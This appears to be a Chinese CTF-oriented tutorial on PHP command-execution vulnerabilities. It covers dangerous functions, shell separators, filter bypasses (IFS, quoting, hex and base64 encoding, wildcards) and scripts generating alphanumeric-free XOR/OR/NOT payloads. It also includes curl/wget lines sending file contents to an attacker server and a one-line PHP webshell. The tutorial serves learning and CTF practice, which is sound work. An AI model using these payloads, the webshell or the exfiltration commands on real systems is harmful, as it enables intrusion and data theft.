补档系列
这是小白补档系列的第一章,命令执行。
是我之前学命令执行或在做 CTF 题时遇到的知识点
如知识点不全,还请评论告诉我~
# 简介
命令执行漏洞就是黑客可以直接在 web 应用中执行系统命令,从而获取敏感信息或者拿下 shell 权限。
# 形成原因
应用有时需要调用一些执行系统命令的函数,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以讲恶意系统命令拼接到正常的命令中,从而造成命令执行攻击,这就是命令执行漏洞
# 分类
- 系统命令执行漏洞:传入系统命令
- PHP 代码执行漏洞:传入 PHP 代码
# 系统命令执行函数
# system
含义
执行外部程序,并且显示输出
语法
system(string $command, int &$result_code = null): string|false
# exec
含义
执行系统外部命令时不会输出结果,而是返回结果的最后一行
语法
exec(string $command, array &$output = null, int &$result_code = null): string|false
# shell_exec
含义
通过 shell 执行命令并将完整的输出以字符串的方式返回,实际上仅是反撇号 (`) 操作符的变体
语法
shell_exec(string $command): string|false|null
# passthru
含义
直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
语法
passthru(string $command, int &$result_code = null): ?false
# popen
含义
打开进程文件指针
语法
popen(string $command, string $mode): resource|false
# proc_open
含义
执行一个命令,并且打开用来输入 / 输出的文件指针。
语法
proc_open(
array|string $command,
array $descriptor_spec,
array &$pipes,
?string $cwd = null,
?array $env_vars = null,
?array $options = null
): resource|false
# pcntl_exec
含义
在当前进程空间执行指定程序
语法
pcntl_exec(string $path, array $args = [], array $env_vars = []): bool
# PHP 代码执行漏洞
在 php 语言里有一些函数将输入的字符串参数当作 php 代码执行
# eval
把字符串当成 php 代码执行
一句话木马的常客
# preg_replace
执行一个正则表达式的搜索和替换
# assert
检查一个断言是否为 FALSE
除此之外还有
ob_start()、unserialize()、creat_function() 、usort()、uasort()、uksort()、 array_filter()、 array_reduce()、 array_map() |
# 防御命令执行漏洞函数
# escapeshellarg()
把字符串转码为可以在 shell 命令里使用的参数
# escapeshellcmd()
转义命令中的所有 shell 元字符,# &;`,|*?~<>^(){}$\
# 命令拼接符号
如果要问命令执行漏洞中一定要会的东西是什么,那一定是命令拼接符,因为恶意命令通常是拼接在正常命令后面,会用命令执行拼接符才是你利用命令执行漏洞的基础
# Windows
拼接符 | 示例 | 拼接符的详解 |
---|---|---|
& | A&B | 无论 A 是 false 还是 true,B 都执行,即互不影响 |
&& | A&&B | 具有短路效果,A 是 false,B 就不执行,有短路效果 |
| | A|B | 表示 A 命令语句的输出,作为 B 命令语句的输入执行。当 A 为 false 的时候将不会执行 |
|| | A||B | 表示 A 命令语句执行失败,然后才执行 B 命令语句 |
# Linux
拼接符 | 拼接符的详解 |
---|---|
& | 使命令在后台运行,只要在命令后面跟上一个空格和 '&' 你就可以运行多个命令 |
; | 可以进行多条命令的无关联执行,每一条执行结果互不影响 |
&& | 跟 windows 一个作用 |
|| | 跟 windows 一个作用 |
() | 如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用命令组合起来 |
# 简述
常用的命令拼接符这里都说完了,但需要注意的是,使用时不要局限于单一个符号,层层嵌套起来会展示出不一样的效果,需要思维灵活变通,比如结合 ||
和 &&
可以实现复杂的功能
# 常见的绕过方法
# 空格过滤
${IFS}
root@VM-12-9-ubuntu:/# cat${IFS}flag
you are good!
$IFS$9
加个 $ 是为了起到截断作用,$9 只是当前系统 shell 进程的第九个参数的持有者,它始终为空字符串
root@VM-12-9-ubuntu:/# cat$IFS$9flag
you are good!
%09
(需要 PHP 环境,不作演示)
<
或者<>
重定向root@VM-12-9-ubuntu:/# cat<flag
you are good!
root@VM-12-9-ubuntu:/# cat<>flag
you are good!
{}
root@VM-12-9-ubuntu:/# {cat,flag}
you are good!
# 例题
NSSCTF
[SWPUCTF 2021 新生赛] babyrce
[GXYCTF 2019]Ping Ping Ping
# 黑名单过滤
比如说过滤了 cat 或者 flag 或 php
- 变量拼接
root@VM-12-9-ubuntu:/# a=c;b=at;c=fl;d=ag;$a$b $c$d | |
you are good! |
- 单引号或双引号绕过
root@VM-12-9-ubuntu:/# ca't' f'l'ag | |
you are good | |
root@VM-12-9-ubuntu:/# c"a"t fl"a"g | |
you are good! |
- HEX 编码绕过
### | |
$(printf "\154\163") | |
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") | |
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 | |
### | |
root@VM-12-9-ubuntu:/# $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67") | |
you are good! |
- base64 编码绕过
root@VM-12-9-ubuntu:/# echo Y2F0IGZsYWc=|base64 -d|sh | |
you are good! |
- 反引号绕过
root@VM-12-9-ubuntu:/# cat fl`a`ag | |
a: command not found | |
you are good! |
- 反斜杠绕过
root@VM-12-9-ubuntu:/# cat f\lag | |
you are good! |
- 读取文件绕过
当 cat
被过滤时
more:一页一页的显示档案内容 | |
less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 | |
head:查看头几行 | |
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 | |
tail:查看尾几行 | |
nl:显示的时候,顺便输出行号 | |
od:以二进制的方式读取档案内容 | |
vi:一种编辑器,这个也可以查看 | |
vim:一种编辑器,这个也可以查看 | |
sort:可以查看 | |
uniq:可以查看 | |
file -f:报错出具体内容 | |
root@VM-12-9-ubuntu:/# more flag | |
you are good! |
$1、$2等和$@
root@VM-12-9-ubuntu:/# c$1at flag | |
you are good! | |
root@VM-12-9-ubuntu:/# cat fl$@ag | |
you are good! |
# 通配符绕过
?
代表一个字符
*
代表一串字符
root@VM-12-9-ubuntu:/# /???/?at flag #/bin 目录下的 cat | |
you are good! | |
root@VM-12-9-ubuntu:/# /???/?at f* #/bin 目录下的 cat 查询所有带有 f 开头的文件 | |
you are good! |
当初学到这个姿势时也是惊呆了,真的长见识了 wwww
# 内敛执行绕过
命令
和 $(命令)
都是执行命令的方式
root@VM-12-9-ubuntu:/# echo "more`cat flag`" | |
moreyou are good! | |
root@VM-12-9-ubuntu:/# echo "more $(cat flag)" | |
more you are good! |
# 长度限制绕过
>
和>>
两个符号的使用使用
>
命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入root@VM-12-9-ubuntu:/# echo "cat flag" > 1.php
root@VM-12-9-ubuntu:/# sh 1.php
you are good!
使用
>>
则会将字符串添加至文件内容末尾,不会覆盖原内容root@VM-12-9-ubuntu:/# echo "haha" >> 1.php
root@VM-12-9-ubuntu:/# cat 1.php
cat flag
haha
命令换行
换行执行命令
root@VM-12-9-ubuntu:/# ca\ | |
> t\ | |
> fl\ | |
> ag | |
you are good! |
也可以写一个 php 文件来执行命令
root@VM-12-9-ubuntu:/# echo "ca\\">3.php | |
root@VM-12-9-ubuntu:/# echo "t\\">>3.php | |
root@VM-12-9-ubuntu:/# echo " fl\\">>3.php | |
root@VM-12-9-ubuntu:/# echo "ag">>3.php | |
root@VM-12-9-ubuntu:/# cat 3.php | |
ca\ | |
t\ | |
fl\ | |
ag | |
root@VM-12-9-ubuntu:/# sh 3.php | |
you are good! |
# 无回显 RCE
要是输入系统命令没有值回显,就可能是无回显的 RCE,我们可以用
ls;sleep(5);
测试是否会执行我们的 sleep 指令,如能执行则进行下一步,对其进行各种权限的测试copy flag 1.txt #复制
mv flag 1.txt #移动
cat flag > 1.txt #写入
tar zcvf flag.tar.gz flag #压缩
echo "<?php @eval($_POST['K1nako']);?>" > webshell.php #一句话木马
用
vps
建立记录脚本利用自己的服务器建立一个
rap.php
的文件,写入如下代码<?php
$data = $_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>
然后开始构造请求
curl http://*.*.*.*/rap.php?data=`cat flag`
wget http://*.*.*.*/rap.php?data=`cat flag`
# 例题
NSSCTF
[SWPUCTF 2021 新生赛] finalrce
# 无字母数字 RCE
这里对于我这种小白来说太难理解了,这里借鉴了大佬们的脚本及思路
代码示例
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
$code=$_GET['code']; | |
if(preg_match('/[a-z0-9]/i',$code)){ | |
die('hacker'); | |
} | |
eval($code); |
代码分析
接收一个 code
参数,进行一个正则匹配,匹配所有的字母和数字,匹配到就会返回一个 hacker
字符串且结束代码
这里很明显需要我们绕过正则表达式运行 eval
函数执行我们的系统命令
# 异或
首先利用如下脚本生成包含所有可见字符的异或构造结果
<?php | |
$myfile = fopen("yihuo.txt", "w"); | |
$contents=""; | |
for ($i=0; $i < 256; $i++) { | |
for ($j=0; $j <256 ; $j++) { | |
if($i<16){ | |
$hex_i='0'.dechex($i); | |
} | |
else{ | |
$hex_i=dechex($i); | |
} | |
if($j<16){ | |
$hex_j='0'.dechex($j); | |
} | |
else{ | |
$hex_j=dechex($j); | |
} | |
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可 | |
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ | |
echo ""; | |
} | |
else{ | |
$a='%'.$hex_i; | |
$b='%'.$hex_j; | |
$c=(urldecode($a)^urldecode($b)); | |
if (ord($c)>=32&ord($c)<=126) { | |
$contents=$contents.$c." ".$a." ".$b."\n"; | |
} | |
} | |
} | |
} | |
fwrite($myfile,$contents); | |
fclose($myfile); |
运行 python 脚本生成我们的 payload
import requests | |
import urllib | |
from sys import * | |
import os | |
def action(arg): | |
s1="" | |
s2="" | |
for i in arg: | |
f=open("yihuo.txt","r") | |
while True: | |
t=f.readline() | |
if t=="": | |
break | |
if t[0]==i: | |
#print(i) | |
s1+=t[2:5] | |
s2+=t[6:9] | |
break | |
f.close() | |
output="(\""+s1+"\"^\""+s2+"\")" | |
return(output) | |
while True: | |
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" | |
print(param) |
执行结果
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b"); |
# 或
<?php | |
$myfile = fopen("huo.txt", "w"); | |
$contents=""; | |
for ($i=0; $i < 256; $i++) { | |
for ($j=0; $j <256 ; $j++) { | |
if($i<16){ | |
$hex_i='0'.dechex($i); | |
} | |
else{ | |
$hex_i=dechex($i); | |
} | |
if($j<16){ | |
$hex_j='0'.dechex($j); | |
} | |
else{ | |
$hex_j=dechex($j); | |
} | |
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可 | |
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ | |
echo ""; | |
} | |
else{ | |
$a='%'.$hex_i; | |
$b='%'.$hex_j; | |
$c=(urldecode($a)|urldecode($b)); | |
if (ord($c)>=32&ord($c)<=126) { | |
$contents=$contents.$c." ".$a." ".$b."\n"; | |
} | |
} | |
} | |
} | |
fwrite($myfile,$contents); | |
fclose($myfile); |
python 脚本生成 payload
import requests | |
import urllib | |
from sys import * | |
import os | |
def action(arg): | |
s1="" | |
s2="" | |
for i in arg: | |
f=open("huo.txt","r") | |
while True: | |
t=f.readline() | |
if t=="": | |
break | |
if t[0]==i: | |
#print(i) | |
s1+=t[2:5] | |
s2+=t[6:9] | |
break | |
f.close() | |
output="(\""+s1+"\"|\""+s2+"\")" | |
return(output) | |
while True: | |
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" | |
print(param) |
执行结果
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b"); |
# 取反
直接用 php 脚本生成 payload
<?php //在命令行中运行 | |
fwrite(STDOUT,'[+]your function: '); | |
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); | |
fwrite(STDOUT,'[+]your command: '); | |
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); | |
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; | |
?> |
# 例题
NSSCTF
[SWPUCTF 2021 新生赛] hardrce